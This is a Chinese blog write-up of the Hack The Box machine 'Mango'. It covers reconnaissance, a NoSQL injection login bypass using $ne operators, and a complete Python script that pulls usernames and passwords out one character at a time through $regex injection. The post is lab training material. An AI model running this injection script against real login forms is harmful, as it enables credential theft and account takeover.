HTB-Mango

永远是深夜有多好。

已于 2023-04-10 17:11:24 修改

阅读量668

点赞数

分类专栏： HTB 文章标签：其他

于 2023-04-10 16:24:03 首次发布

本文链接：https://blog.csdn.net/qq_37370714/article/details/130036893

版权

HTB 专栏收录该内容

83 篇文章 13 订阅

订阅专栏

HTB-Mango

信息收集
立足
mango -> admin
admin -> root
- 兔子洞之旅
- 跳出兔子洞
补充

在这里插入图片描述

信息收集

在这里插入图片描述

80端口

在这里插入图片描述

443端口

在这里插入图片描述

在这里插入图片描述
/index.php/login暂时无法打开，首页搜索功能也无法正常使用。dirmap扫描出来的analytics.php内容也只是一些数据。

对443端口的证书进行检查，能发现一个新的子域名：staging-order.mango.htb。

在这里插入图片描述

staging-order.mango.htb

看着真不错。
在这里插入图片描述
尝试了几组登陆的账号密码均以失败告终，但是每次只要是失败就会重新加载一次网站，所以如果是正确的话估计会重定向到其他网站。于是乎，现在有两条路。一条是sql注入测试，一条是选择对常用的账号密码进行爆破测试，很明显第二条路的成功率不怎么高。

在这里插入图片描述
先对其进行简单的sql注入测试，发现暂时没有任何反应。于是乎，又出现了两条路。一条是更加深入的进行sql注入测试。一条是NoSql。经过测试第一条路（更加深入的sql注入测试）暂时失败。所以走第二条路NoSql injection。
在这里插入图片描述

使用username[$ne]=aster&password[$ne]=aster&login=login，得到302重定向反馈。

在这里插入图片描述
跟随重定向发现重定向到了/home.php。

在这里插入图片描述
主页内容如下，正在建设中……。

在这里插入图片描述
除了疑似存在一个admin用户，就没有其它信息了。再看看NoSql数据库呢。

Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax.

那试试注入。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)